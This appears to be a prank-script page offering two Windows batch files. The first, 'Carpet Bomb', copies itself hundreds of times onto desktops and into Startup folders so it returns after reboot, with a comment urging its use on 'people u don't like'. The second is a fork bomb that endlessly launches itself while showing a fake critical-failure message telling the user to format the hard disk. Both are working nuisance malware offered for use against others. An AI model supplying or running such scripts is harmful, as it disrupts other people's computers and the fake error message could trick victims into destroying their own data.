Carpet Bomb:

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.

@ECHO OFF
:This was meant as a harmless joke, and it's not hard to fix if you read through the code.
:If you just use the "disinf" argument on the command line all is well.
 lease only use this on people u don't like
IF "%1"=="" GOTO fill
IF "%1"=="fill" GOTO fill
IF "%1"=="kill" GOTO kill
IF "%1"=="inf" GOTO inf
IF "%1"=="disinf" GOTO kill
GOTO bye
:fill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="" GOTO inf
GOTO theend
:kill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="disinf" GOTO disinf
GOTO theend
:inf
TYPE "%~df0" > "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:disinf
ECHO Y | DEL "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:bye
ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer 
:theend

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.\

Creating a batch Bomb

Copy and paste the below into notepad and save it as hi.bat (Not .txt)
run it, and enjoy anarchy.

Code:

@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START